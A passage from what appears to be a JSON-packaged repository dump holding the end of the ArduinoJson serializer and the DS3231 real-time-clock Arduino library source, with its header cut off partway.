writer);\r\n}\r\ntemplate <typename Writer>\r\ninline void ArduinoJson::Internals::JsonSerializer<Writer>::serialize(\r\n    const JsonObject& object, Writer& writer) {\r\n  writer.beginObject();\r\n  JsonObject::const_iterator it = object.begin();\r\n  while (it != object.end()) {\r\n    writer.writeString(it->key);\r\n    writer.writeColon();\r\n    serialize(it->value, writer);\r\n    ++it;\r\n    if (it == object.end()) break;\r\n    writer.writeComma();\r\n  }\r\n  writer.endObject();\r\n}\r\ntemplate <typename Writer>\r\ntemplate <typename TKey>\r\ninline void ArduinoJson::Internals::JsonSerializer<Writer>::serialize(\r\n    const JsonObjectSubscript<TKey>& objectSubscript, Writer& writer) {\r\n  serialize(objectSubscript.template as<JsonVariant>(), writer);\r\n}\r\ntemplate <typename Writer>\r\ninline void ArduinoJson::Internals::JsonSerializer<Writer>::serialize(\r\n    const JsonVariant& variant, Writer& writer) {\r\n  switch (variant._type) {\r\n    case JSON_FLOAT:\r\n      writer.writeFloat(variant._content.asFloat);\r\n      return;\r\n    case JSON_ARRAY:\r\n      serialize(*variant._content.asArray, writer);\r\n      return;\r\n    case JSON_OBJECT:\r\n      serialize(*variant._content.asObject, writer);\r\n      return;\r\n    case JSON_STRING:\r\n      writer.writeString(variant._content.asString);\r\n      return;\r\n    case JSON_UNPARSED:\r\n      writer.writeRaw(variant._content.asString);\r\n      return;\r\n    case JSON_NEGATIVE_INTEGER:\r\n      writer.writeRaw('-');  // Falls through.\r\n    case JSON_POSITIVE_INTEGER:\r\n      writer.writeInteger(variant._content.asInteger);\r\n      return;\r\n    case JSON_BOOLEAN:\r\n      writer.writeBoolean(variant._content.asInteger != 0);\r\n      return;\r\n    default:  // JSON_UNDEFINED\r\n      return;\r\n  }\r\n}\r\n#ifdef __GNUC__\r\n#define ARDUINOJSON_PRAGMA(x) _Pragma(#x)\r\n#define ARDUINOJSON_COMPILE_ERROR(msg) ARDUINOJSON_PRAGMA(GCC error msg)\r\n#define ARDUINOJSON_STRINGIFY(S) #S\r\n#define ARDUINOJSON_DEPRECATION_ERROR(X, Y) \\\r\n  ARDUINOJSON_COMPILE_ERROR(ARDUINOJSON_STRINGIFY(X is a Y from ArduinoJson 6 but version 5 is installed. Visit arduinojson.org to get more information.))\r\n#define StaticJsonDocument ARDUINOJSON_DEPRECATION_ERROR(StaticJsonDocument, class)\r\n#define DynamicJsonDocument ARDUINOJSON_DEPRECATION_ERROR(DynamicJsonDocument, class)\r\n#define JsonDocument ARDUINOJSON_DEPRECATION_ERROR(JsonDocument, class)\r\n#define DeserializationError ARDUINOJSON_DEPRECATION_ERROR(DeserializationError, class)\r\n#define deserializeJson ARDUINOJSON_DEPRECATION_ERROR(deserializeJson, function)\r\n#define deserializeMsgPack ARDUINOJSON_DEPRECATION_ERROR(deserializeMsgPack, function)\r\n#define serializeJson ARDUINOJSON_DEPRECATION_ERROR(serializeJson, function)\r\n#define serializeMsgPack ARDUINOJSON_DEPRECATION_ERROR(serializeMsgPack, function)\r\n#define serializeJsonPretty ARDUINOJSON_DEPRECATION_ERROR(serializeJsonPretty, function)\r\n#define measureMsgPack ARDUINOJSON_DEPRECATION_ERROR(measureMsgPack, function)\r\n#define measureJson ARDUINOJSON_DEPRECATION_ERROR(measureJson, function)\r\n#define measureJsonPretty ARDUINOJSON_DEPRECATION_ERROR(measureJsonPretty, function)\r\n#endif\r\n\r\nusing namespace ArduinoJson;\r\n\r\n#else\r\n\r\n#error ArduinoJson requires a C++ compiler, please change file extension to .cc or .cpp\r\n\r\n#endif\r\n"
  },
  {
    "path": "esp8266_deauther/src/DS3231-1.0.3/DS3231.cpp",
    "content": "/*\n   DS3231.cpp: DS3231 Real-Time Clock library\n   Eric Ayars\n   4/1/11\n\n   Spliced in DateTime all-at-once reading (to avoid rollover) and unix time\n   from Jean-Claude Wippler and Limor Fried\n   Andy Wickert\n   5/15/11\n\n   Fixed problem with SD processors(no function call) by replacing all occurences of the term PM, which\n   is defined as a macro on SAMD controllers by PM_time.\n   Simon Gassner\n   11/28/2017\n\n\n   Released into the public domain.\n */\n\n#include \"DS3231.h\"\n\n// These included for the DateTime class inclusion; will try to find a way to\n// not need them in the future...\n#if defined(__AVR__)\n#include <avr/pgmspace.h>\n#elif defined(ESP8266)\n#include <pgmspace.h>\n#endif // if defined(__AVR__)\n// Changed the following to work on 1.0\n// #include \"WProgram.h\"\n#include <Arduino.h>\n\n\n#define CLOCK_ADDRESS 0x68\n\n#define SECONDS_FROM_1970_TO_2000 946684800\n\n\n// Constructor\nDS3231::DS3231() {\n    // nothing to do for this constructor.\n}\n\n// Utilities from JeeLabs/Ladyada\n\n////////////////////////////////////////////////////////////////////////////////\n// utility code, some of this could be exposed in the DateTime API if needed\n\n// DS3231 is smart enough to know this, but keeping it for now so I don't have\n// to rewrite their code. -ADW\nstatic const uint8_t daysInMonth[] PROGMEM = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };\n\n// number of days since 2000/01/01, valid for 2001..2099\nstatic uint16_t date2days(uint16_t y, uint8_t m, uint8_t d) {\n    if (y >= 2000)\n        y -= 2000;\n    uint16_t days = d;\n\n    for (uint8_t i = 1; i < m; ++i) days += pgm_read_byte(daysInMonth + i - 1);\n    if ((m > 2) && (y % 4 == 0))\n        ++days;\n    return days + 365 * y + (y + 3) / 4 - 1;\n}\n\nstatic long time2long(uint16_t days, uint8_t h, uint8_t m, uint8_t s) {\n    return ((days * 24L + h) * 60 + m) * 60 + s;\n}\n\n/*****************************************\n        Public Functions\n*****************************************/\n\n/*******************************************************************************\n * TO GET ALL DATE/TIME INFORMATION AT ONCE AND AVOID THE CHANCE OF ROLLOVER\n * DateTime implementation spliced in here from Jean-Claude Wippler's (JeeLabs)\n * RTClib, as modified by Limor Fried (Ladyada); source code at:\n * https://github.com/adafruit/RTClib\n ******************************************************************************/\n\n////////////////////////////////////////////////////////////////////////////////\n// DateTime implementation - ignores time zones and DST changes\n// NOTE: also ignores leap seconds, see http://en.wikipedia.org/wiki/Leap_second\n\nDateTime::DateTime(uint32_t t) {\n    t -= SECONDS_FROM_1970_TO_2000; // bring to 2000 timestamp from 1970\n\n    ss = t % 60;\n    t /= 60;\n    mm = t % 60;\n    t /= 60;\n    hh = t % 24;\n    uint16_t days = t / 24;\n    uint8_t  leap;\n\n    for (yOff = 0;; ++yOff) {\n        leap = yOff % 4 == 0;\n        if (days < 365 + leap)\n            break;\n        days -= 365 + leap;\n    }\n\n    for (m = 1;; ++m) {\n        uint8_t daysPerMonth = pgm_read_byte(daysInMonth + m - 1);\n        if (leap && (m == 2))\n            ++daysPerMonth;\n        if (days < daysPerMonth)\n            break;\n        days -= daysPerMonth;\n    }\n    d = days + 1;\n}\n\nDateTime::DateTime(uint16_t year, uint8_t month, uint8_t day, uint8_t hour, uint8_t min, uint8_t sec) {\n    if (year >= 2000)\n        year -= 2000;\n    yOff = year;\n    m    = month;\n    d    = day;\n    hh   = hour;\n    mm   = min;\n    ss   = sec;\n}\n\nstatic uint8_t conv2d(const char* p) {\n    uint8_t v = 0;\n\n    if (('0' <= *p) && (*p <= '9'))\n        v = *p - '0';\n    return 10 * v + *++p - '0';\n}\n\n// UNIX time: IS CORRECT ONLY WHEN SET TO UTC!!!\nuint32_t DateTime::unixtime(void) const {\n    uint32_t t;\n    uint16_t days = date2days(yOff, m, d);\n\n    t  = time2long(days, hh, mm, ss);\n    t += SECONDS_FROM_1970_TO_2000; // seconds from 1970 to 2000\n\n    return t;\n}\n\n// Slightly modified from JeeLabs / Ladyada\n// Get all date/time at once to avoid rollover (e.g., minute/second don't match)\nstatic uint8_t bcd2bin(uint8_t val) {\n    return val - 6 * (val >> 4);\n}\n\nstatic uint8_t bin2bcd(uint8_t val) {\n    return val + 6 * (val / 10);\n}\n\nDateTime RTClib::now() {\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0); // This is the first register address (Seconds)\n                   // We'll read from here on for 7 bytes: secs reg, minutes reg, hours, days, months and years.\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 7);\n    uint8_t ss = bcd2bin(Wire.read() & 0x7F);\n    uint8_t mm = bcd2bin(Wire.read());\n    uint8_t hh = bcd2bin(Wire.read());\n\n    Wire.read();\n    uint8_t  d = bcd2bin(Wire.read());\n    uint8_t  m = bcd2bin(Wire.read());\n    uint16_t y = bcd2bin(Wire.read()) + 2000;\n\n    return DateTime(y, m, d, hh, mm, ss);\n}\n\n///// ERIC'S ORIGINAL CODE FOLLOWS /////\n\nbyte DS3231::getSecond() {\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x00);\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    return bcdToDec(Wire.read());\n}\n\nbyte DS3231::getMinute() {\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x01);\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    return bcdToDec(Wire.read());\n}\n\nbyte DS3231::getHour(bool& h12, bool& PM_time) {\n    byte temp_buffer;\n    byte hour;\n\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x02);\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    temp_buffer = Wire.read();\n    h12         = temp_buffer & 0b01000000;\n    if (h12) {\n        PM_time = temp_buffer & 0b00100000;\n        hour    = bcdToDec(temp_buffer & 0b00011111);\n    } else {\n        hour = bcdToDec(temp_buffer & 0b00111111);\n    }\n    return hour;\n}\n\nbyte DS3231::getDoW() {\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x03);\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    return bcdToDec(Wire.read());\n}\n\nbyte DS3231::getDate() {\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x04);\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    return bcdToDec(Wire.read());\n}\n\nbyte DS3231::getMonth(bool& Century) {\n    byte temp_buffer;\n    byte hour;\n\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x05);\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    temp_buffer = Wire.read();\n    Century     = temp_buffer & 0b10000000;\n    return bcdToDec(temp_buffer & 0b01111111);\n}\n\nbyte DS3231::getYear() {\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x06);\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    return bcdToDec(Wire.read());\n}\n\nvoid DS3231::setSecond(byte Second) {\n    // Sets the seconds\n    // This function also resets the Oscillator Stop Flag, which is set\n    // whenever power is interrupted.\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x00);\n    Wire.write(decToBcd(Second));\n    Wire.endTransmission();\n    // Clear OSF flag\n    byte temp_buffer = readControlByte(1);\n\n    writeControlByte((temp_buffer & 0b01111111), 1);\n}\n\nvoid DS3231::setMinute(byte Minute) {\n    // Sets the minutes\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x01);\n    Wire.write(decToBcd(Minute));\n    Wire.endTransmission();\n}\n\nvoid DS3231::setHour(byte Hour) {\n    // Sets the hour, without changing 12/24h mode.\n    // The hour must be in 24h format.\n\n    bool h12;\n\n    // Start by figuring out what the 12/24 mode is\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x02);\n    Wire.endTransmission();\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    h12 = (Wire.read() & 0b01000000);\n    // if h12 is true, it's 12h mode; false is 24h.\n\n    if (h12) {\n        // 12 hour\n        if (Hour > 12) {\n            Hour = decToBcd(Hour-12) | 0b01100000;\n        } else {\n            Hour = decToBcd(Hour) & 0b11011111;\n        }\n    } else {\n        // 24 hour\n        Hour = decToBcd(Hour) & 0b10111111;\n    }\n\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x02);\n    Wire.write(Hour);\n    Wire.endTransmission();\n}\n\nvoid DS3231::setDoW(byte DoW) {\n    // Sets the Day of Week\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x03);\n    Wire.write(decToBcd(DoW));\n    Wire.endTransmission();\n}\n\nvoid DS3231::setDate(byte Date) {\n    // Sets the Date\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x04);\n    Wire.write(decToBcd(Date));\n    Wire.endTransmission();\n}\n\nvoid DS3231::setMonth(byte Month) {\n    // Sets the month\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x05);\n    Wire.write(decToBcd(Month));\n    Wire.endTransmission();\n}\n\nvoid DS3231::setYear(byte Year) {\n    // Sets the year\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x06);\n    Wire.write(decToBcd(Year));\n    Wire.endTransmission();\n}\n\nvoid DS3231::setClockMode(bool h12) {\n    // sets the mode to 12-hour (true) or 24-hour (false).\n    // One thing that bothers me about how I've written this is that\n    // if the read and right happen at the right hourly millisecnd,\n    // the clock will be set back an hour. Not sure how to do it better,\n    // though, and as long as one doesn't set the mode frequently it's\n    // a very minimal risk.\n    // It's zero risk if you call this BEFORE setting the hour, since\n    // the setHour() function doesn't change this mode.\n\n    byte temp_buffer;\n\n    // Start by reading byte 0x02.\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x02);\n    Wire.endTransmission();\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    temp_buffer = Wire.read();\n\n    // Set the flag to the requested value:\n    if (h12) {\n        temp_buffer = temp_buffer | 0b01000000;\n    } else {\n        temp_buffer = temp_buffer & 0b10111111;\n    }\n\n    // Write the byte\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x02);\n    Wire.write(temp_buffer);\n    Wire.endTransmission();\n}\n\nfloat DS3231::getTemperature() {\n    // Checks the internal thermometer on the DS3231 and returns the\n    // temperature as a floating-point value.\n\n    // Updated / modified a tiny bit from \"Coding Badly\" and \"Tri-Again\"\n    // http://forum.arduino.cc/index.php/topic,22301.0.html\n\n    byte  tMSB, tLSB;\n    float temp3231;\n\n    // temp registers (11h-12h) get updated automatically every 64s\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x11);\n    Wire.endTransmission();\n    Wire.requestFrom(CLOCK_ADDRESS, 2);\n\n    // Should I do more \"if available\" checks here?\n    if (Wire.available()) {\n        tMSB = Wire.read(); // 2's complement int portion\n        tLSB = Wire.read(); // fraction portion\n\n        temp3231 = ((((short)tMSB << 8) | (short)tLSB) >> 6) / 4.0;\n    }\n    else {\n        temp3231 = -9999; // Some obvious error value\n    }\n\n    return temp3231;\n}\n\nvoid DS3231::getA1Time(byte& A1Day, byte& A1Hour, byte& A1Minute, byte& A1Second, byte& AlarmBits, bool& A1Dy, bool& A1h12, bool& A1PM) {\n    byte temp_buffer;\n\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x07);\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 4);\n\n    temp_buffer = Wire.read(); // Get A1M1 and A1 Seconds\n    A1Second    = bcdToDec(temp_buffer & 0b01111111);\n    // put A1M1 bit in position 0 of DS3231_AlarmBits.\n    AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>7;\n\n    temp_buffer = Wire.read(); // Get A1M2 and A1 minutes\n    A1Minute    = bcdToDec(temp_buffer & 0b01111111);\n    // put A1M2 bit in position 1 of DS3231_AlarmBits.\n    AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>6;\n\n    temp_buffer = Wire.read(); // Get A1M3 and A1 Hour\n    // put A1M3 bit in position 2 of DS3231_AlarmBits.\n    AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>5;\n    // determine A1 12/24 mode\n    A1h12 = temp_buffer & 0b01000000;\n    if (A1h12) {\n        A1PM   = temp_buffer & 0b00100000;           // determine am/pm\n        A1Hour = bcdToDec(temp_buffer & 0b00011111); // 12-hour\n    } else {\n        A1Hour = bcdToDec(temp_buffer & 0b00111111); // 24-hour\n    }\n\n    temp_buffer = Wire.read();                       // Get A1M4 and A1 Day/Date\n    // put A1M3 bit in position 3 of DS3231_AlarmBits.\n    AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>4;\n    // determine A1 day or date flag\n    A1Dy = (temp_buffer & 0b01000000)>>6;\n    if (A1Dy) {\n        // alarm is by day of week, not date.\n        A1Day = bcdToDec(temp_buffer & 0b00001111);\n    } else {\n        // alarm is by date, not day of week.\n        A1Day = bcdToDec(temp_buffer & 0b00111111);\n    }\n}\n\nvoid DS3231::getA2Time(byte& A2Day, byte& A2Hour, byte& A2Minute, byte& AlarmBits, bool& A2Dy, bool& A2h12, bool& A2PM) {\n    byte temp_buffer;\n\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x0b);\n    Wire.endTransmission();\n\n    Wire.requestFrom(CLOCK_ADDRESS, 3);\n    temp_buffer = Wire.read(); // Get A2M2 and A2 Minutes\n    A2Minute    = bcdToDec(temp_buffer & 0b01111111);\n    // put A2M2 bit in position 4 of DS3231_AlarmBits.\n    AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>3;\n\n    temp_buffer = Wire.read(); // Get A2M3 and A2 Hour\n    // put A2M3 bit in position 5 of DS3231_AlarmBits.\n    AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>2;\n    // determine A2 12/24 mode\n    A2h12 = temp_buffer & 0b01000000;\n    if (A2h12) {\n        A2PM   = temp_buffer & 0b00100000;           // determine am/pm\n        A2Hour = bcdToDec(temp_buffer & 0b00011111); // 12-hour\n    } else {\n        A2Hour = bcdToDec(temp_buffer & 0b00111111); // 24-hour\n    }\n\n    temp_buffer = Wire.read();                       // Get A2M4 and A1 Day/Date\n    // put A2M4 bit in position 6 of DS3231_AlarmBits.\n    AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>1;\n    // determine A2 day or date flag\n    A2Dy = (temp_buffer & 0b01000000)>>6;\n    if (A2Dy) {\n        // alarm is by day of week, not date.\n        A2Day = bcdToDec(temp_buffer & 0b00001111);\n    } else {\n        // alarm is by date, not day of week.\n        A2Day = bcdToDec(temp_buffer & 0b00111111);\n    }\n}\n\nvoid DS3231::setA1Time(byte A1Day, byte A1Hour, byte A1Minute, byte A1Second, byte AlarmBits, bool A1Dy, bool A1h12, bool A1PM) {\n    //\tSets the alarm-1 date and time on the DS3231, using A1* information\n    byte temp_buffer;\n\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x07); // A1 starts at 07h\n    // Send A1 second and A1M1\n    Wire.write(decToBcd(A1Second) | ((AlarmBits & 0b00000001) << 7));\n    // Send A1 Minute and A1M2\n    Wire.write(decToBcd(A1Minute) | ((AlarmBits & 0b00000010) << 6));\n    // Figure out A1 hour\n    if (A1h12) {\n        // Start by converting existing time to h12 if it was given in 24h.\n        if (A1Hour > 12) {\n            // well, then, this obviously isn't a h12 time, is it?\n            A1Hour = A1Hour - 12;\n            A1PM   = true;\n        }\n        if (A1PM) {\n            // Afternoon\n            // Convert the hour to BCD and add appropriate flags.\n            temp_buffer = decToBcd(A1Hour) | 0b01100000;\n        } else {\n            // Morning\n            // Convert the hour to BCD and add appropriate flags.\n            temp_buffer = decToBcd(A1Hour) | 0b01000000;\n        }\n    } else {\n        // Now for 24h\n        temp_buffer = decToBcd(A1Hour);\n    }\n    temp_buffer = temp_buffer | ((AlarmBits & 0b00000100)<<5);\n    // A1 hour is figured out, send it\n    Wire.write(temp_buffer);\n    // Figure out A1 day/date and A1M4\n    temp_buffer = ((AlarmBits & 0b00001000)<<4) | decToBcd(A1Day);\n    if (A1Dy) {\n        // Set A1 Day/Date flag (Otherwise it's zero)\n        temp_buffer = temp_buffer | 0b01000000;\n    }\n    Wire.write(temp_buffer);\n    // All done!\n    Wire.endTransmission();\n}\n\nvoid DS3231::setA2Time(byte A2Day, byte A2Hour, byte A2Minute, byte AlarmBits, bool A2Dy, bool A2h12, bool A2PM) {\n    //\tSets the alarm-2 date and time on the DS3231, using A2* information\n    byte temp_buffer;\n\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    Wire.write(0x0b); // A1 starts at 0bh\n    // Send A2 Minute and A2M2\n    Wire.write(decToBcd(A2Minute) | ((AlarmBits & 0b00010000) << 3));\n    // Figure out A2 hour\n    if (A2h12) {\n        // Start by converting existing time to h12 if it was given in 24h.\n        if (A2Hour > 12) {\n            // well, then, this obviously isn't a h12 time, is it?\n            A2Hour = A2Hour - 12;\n            A2PM   = true;\n        }\n        if (A2PM) {\n            // Afternoon\n            // Convert the hour to BCD and add appropriate flags.\n            temp_buffer = decToBcd(A2Hour) | 0b01100000;\n        } else {\n            // Morning\n            // Convert the hour to BCD and add appropriate flags.\n            temp_buffer = decToBcd(A2Hour) | 0b01000000;\n        }\n    } else {\n        // Now for 24h\n        temp_buffer = decToBcd(A2Hour);\n    }\n    // add in A2M3 bit\n    temp_buffer = temp_buffer | ((AlarmBits & 0b00100000)<<2);\n    // A2 hour is figured out, send it\n    Wire.write(temp_buffer);\n    // Figure out A2 day/date and A2M4\n    temp_buffer = ((AlarmBits & 0b01000000)<<1) | decToBcd(A2Day);\n    if (A2Dy) {\n        // Set A2 Day/Date flag (Otherwise it's zero)\n        temp_buffer = temp_buffer | 0b01000000;\n    }\n    Wire.write(temp_buffer);\n    // All done!\n    Wire.endTransmission();\n}\n\nvoid DS3231::turnOnAlarm(byte Alarm) {\n    // turns on alarm number \"Alarm\". Defaults to 2 if Alarm is not 1.\n    byte temp_buffer = readControlByte(0);\n\n    // modify control byte\n    if (Alarm == 1) {\n        temp_buffer = temp_buffer | 0b00000101;\n    } else {\n        temp_buffer = temp_buffer | 0b00000110;\n    }\n    writeControlByte(temp_buffer, 0);\n}\n\nvoid DS3231::turnOffAlarm(byte Alarm) {\n    // turns off alarm number \"Alarm\". Defaults to 2 if Alarm is not 1.\n    // Leaves interrupt pin alone.\n    byte temp_buffer = readControlByte(0);\n\n    // modify control byte\n    if (Alarm == 1) {\n        temp_buffer = temp_buffer & 0b11111110;\n    } else {\n        temp_buffer = temp_buffer & 0b11111101;\n    }\n    writeControlByte(temp_buffer, 0);\n}\n\nbool DS3231::checkAlarmEnabled(byte Alarm) {\n    // Checks whether the given alarm is enabled.\n    byte result      = 0x0;\n    byte temp_buffer = readControlByte(0);\n\n    if (Alarm == 1) {\n        result = temp_buffer & 0b00000001;\n    } else {\n        result = temp_buffer & 0b00000010;\n    }\n    return result;\n}\n\nbool DS3231::checkIfAlarm(byte Alarm) {\n    // Checks whether alarm 1 or alarm 2 flag is on, returns T/F accordingly.\n    // Turns flag off, also.\n    // defaults to checking alarm 2, unless Alarm == 1.\n    byte result;\n    byte temp_buffer = readControlByte(1);\n\n    if (Alarm == 1) {\n        // Did alarm 1 go off?\n        result = temp_buffer & 0b00000001;\n        // clear flag\n        temp_buffer = temp_buffer & 0b11111110;\n    } else {\n        // Did alarm 2 go off?\n        result = temp_buffer & 0b00000010;\n        // clear flag\n        temp_buffer = temp_buffer & 0b11111101;\n    }\n    writeControlByte(temp_buffer, 1);\n    return result;\n}\n\nvoid DS3231::enableOscillator(bool TF, bool battery, byte frequency) {\n    // turns oscillator on or off. True is on, false is off.\n    // if battery is true, turns on even for battery-only operation,\n    // otherwise turns off if Vcc is off.\n    // frequency must be 0, 1, 2, or 3.\n    // 0 = 1 Hz\n    // 1 = 1.024 kHz\n    // 2 = 4.096 kHz\n    // 3 = 8.192 kHz (Default if frequency byte is out of range)\n    if (frequency > 3) frequency = 3;\n    // read control byte in, but zero out current state of RS2 and RS1.\n    byte temp_buffer = readControlByte(0) & 0b11100111;\n\n    if (battery) {\n        // turn on BBSQW flag\n        temp_buffer = temp_buffer | 0b01000000;\n    } else {\n        // turn off BBSQW flag\n        temp_buffer = temp_buffer & 0b10111111;\n    }\n    if (TF) {\n        // set ~EOSC to 0 and INTCN to zero.\n        temp_buffer = temp_buffer & 0b01111011;\n    } else {\n        // set ~EOSC to 1, leave INTCN as is.\n        temp_buffer = temp_buffer | 0b10000000;\n    }\n    // shift frequency into bits 3 and 4 and set.\n    frequency   = frequency << 3;\n    temp_buffer = temp_buffer | frequency;\n    // And write the control bits\n    writeControlByte(temp_buffer, 0);\n}\n\nvoid DS3231::enable32kHz(bool TF) {\n    // turn 32kHz pin on or off\n    byte temp_buffer = readControlByte(1);\n\n    if (TF) {\n        // turn on 32kHz pin\n        temp_buffer = temp_buffer | 0b00001000;\n    } else {\n        // turn off 32kHz pin\n        temp_buffer = temp_buffer & 0b11110111;\n    }\n    writeControlByte(temp_buffer, 1);\n}\n\nbool DS3231::oscillatorCheck() {\n    // Returns false if the oscillator has been off for some reason.\n    // If this is the case, the time is probably not correct.\n    byte temp_buffer = readControlByte(1);\n    bool result      = true;\n\n    if (temp_buffer & 0b10000000) {\n        // Oscillator Stop Flag (OSF) is set, so return false.\n        result = false;\n    }\n    return result;\n}\n\n/*****************************************\n        Private Functions\n*****************************************/\nbyte DS3231::decToBcd(byte val) {\n    // Convert normal decimal numbers to binary coded decimal\n    return (val/10*16) + (val%10);\n}\n\nbyte DS3231::bcdToDec(byte val) {\n    // Convert binary coded decimal to normal decimal numbers\n    return (val/16*10) + (val%16);\n}\n\nbyte DS3231::readControlByte(bool which) {\n    // Read selected control byte\n    // first byte (0) is 0x0e, second (1) is 0x0f\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    if (which) {\n        // second control byte\n        Wire.write(0x0f);\n    } else {\n        // first control byte\n        Wire.write(0x0e);\n    }\n    Wire.endTransmission();\n    Wire.requestFrom(CLOCK_ADDRESS, 1);\n    return Wire.read();\n}\n\nvoid DS3231::writeControlByte(byte control, bool which) {\n    // Write the selected control byte.\n    // which=false -> 0x0e, true->0x0f.\n    Wire.beginTransmission(CLOCK_ADDRESS);\n    if (which) {\n        Wire.write(0x0f);\n    } else {\n        Wire.write(0x0e);\n    }\n    Wire.write(control);\n    Wire.endTransmission();\n}"
  },
  {
    "path": "esp8266_deauther/src/DS3231-1.0.3/DS3231.h",
    "content": "/*\n * DS3231.h\n *\n * Arduino Library for the DS3231 Real-Time Clock chip\n *\n * (c) Eric Ayars\n * 4/1/11\n * released into the public domain. If you use this, please let me know\n * (just out of pure curiosity!) by sending me an email:\n * eric@ayars.org\n *\n */\n\n// Modified by Andy Wickert 5/15/11: Spliced in stuff from RTClib\n// Modified by Simon Gassner 11/28/2017: Changed Term \"PM\" to \"PM_time\" for compability with SAMD Processors\n#ifndef DS3231_h\n#define DS3231_h\n\n// Changed the following to work on 1.0\n//#include \"WProgram.h\"\n#include <Arduino.h>\n\n#include <Wire.h>\n\n// DateTime (get everything at once) from JeeLabs / Adafruit\n// Simple general-purpose date/time class (no TZ / DST / leap second handling!)\nclass DateTime {\npublic:\n    DateTime (uint32_t t =0);\n    DateTime (uint16_t year, uint8_t month, uint8_t day,\n                uint8_t hour =0, uint8_t min =0, uint8_t sec =0);\n    DateTime (const char* date, const char* time);\n    uint16_t year() const       { return 2000 + yOff; }\n    uint8_t month() const       { return m; }\n    uint8_t day() const         { return d; }\n    uint8_t hour() const        { return hh; }\n    uint8_t minute() const      { return mm; }\n    uint8_t second() const      { return ss; }\n    uint8_t dayOfTheWeek() const;\n\n    // 32-bit times as seconds since 1/1/2000\n    long secondstime() const;\n    // 32-bit times as seconds since 1/1/1970\n    // THE ABOVE COMMENT IS CORRECT FOR LOCAL TIME; TO USE THIS COMMAND TO\n    // OBTAIN TRUE UNIX TIME SINCE EPOCH, YOU MUST CALL THIS COMMAND AFTER\n    // SETTING YOUR CLOCK TO UTC\n    uint32_t unixtime(void) const;\n\nprotected:\n    uint8_t yOff, m, d, hh, mm, ss;\n};\n\nclass RTClib {\n  public:\n\t\t// Get date and time snapshot\n    static DateTime now();\n};\n\n// Eric's original code is everything below this line\nclass DS3231 {\n\tpublic:\n\t\t\t\n\t\t//Constructor\n\t\tDS3231();\n\n\t\t// Time-retrieval functions\n    \n\t\t// the get*() functions retrieve current values of the registers.\n\t\tbyte getSecond(); \n\t\tbyte getMinute(); \n\t\tbyte getHour(bool& h12, bool& PM_time); \n\t\t\t// In addition to returning the hour register, this function\n\t\t\t// returns the values of the 12/24-hour flag and the AM/PM flag.\n\t\tbyte getDoW(); \n\t\tbyte getDate(); \n\t\tbyte getMonth(bool& Century); \n\t\t\t// Also sets the flag indicating century roll-over.\n\t\tbyte getYear(); \n\t\t\t// Last 2 digits only\n\n\t\t// Time-setting functions\n\t\t// Note that none of these check for sensibility: You can set the\n\t\t// date to July 42nd and strange things will probably result.\n\t\t\n\t\tvoid setSecond(byte Second); \n\t\t\t// In addition to setting the seconds, this clears the \n\t\t\t// \"Oscillator Stop Flag\".\n\t\tvoid setMinute(byte Minute); \n\t\t\t// Sets the minute\n\t\tvoid setHour(byte Hour); \n\t\t\t// Sets the hour\n\t\tvoid setDoW(byte DoW); \n\t\t\t// Sets the Day of the Week (1-7);\n\t\tvoid setDate(byte Date); \n\t\t\t// Sets the Date of the Month\n\t\tvoid setMonth(byte Month); \n\t\t\t// Sets the Month of the year\n\t\tvoid setYear(byte Year); \n\t\t\t// Last two digits of the year\n\t\tvoid setClockMode(bool h12); \n\t\t\t// Set 12/24h mode. True is 12-h, false is 24-hour.\n\n\t\t// Temperature function\n\n\t\tfloat getTemperature(); \n\n\t\t// Alarm functions\n\t\t\n\t\tvoid getA1Time(byte& A1Day, byte& A1Hour, byte& A1Minute, byte& A1Second, byte& 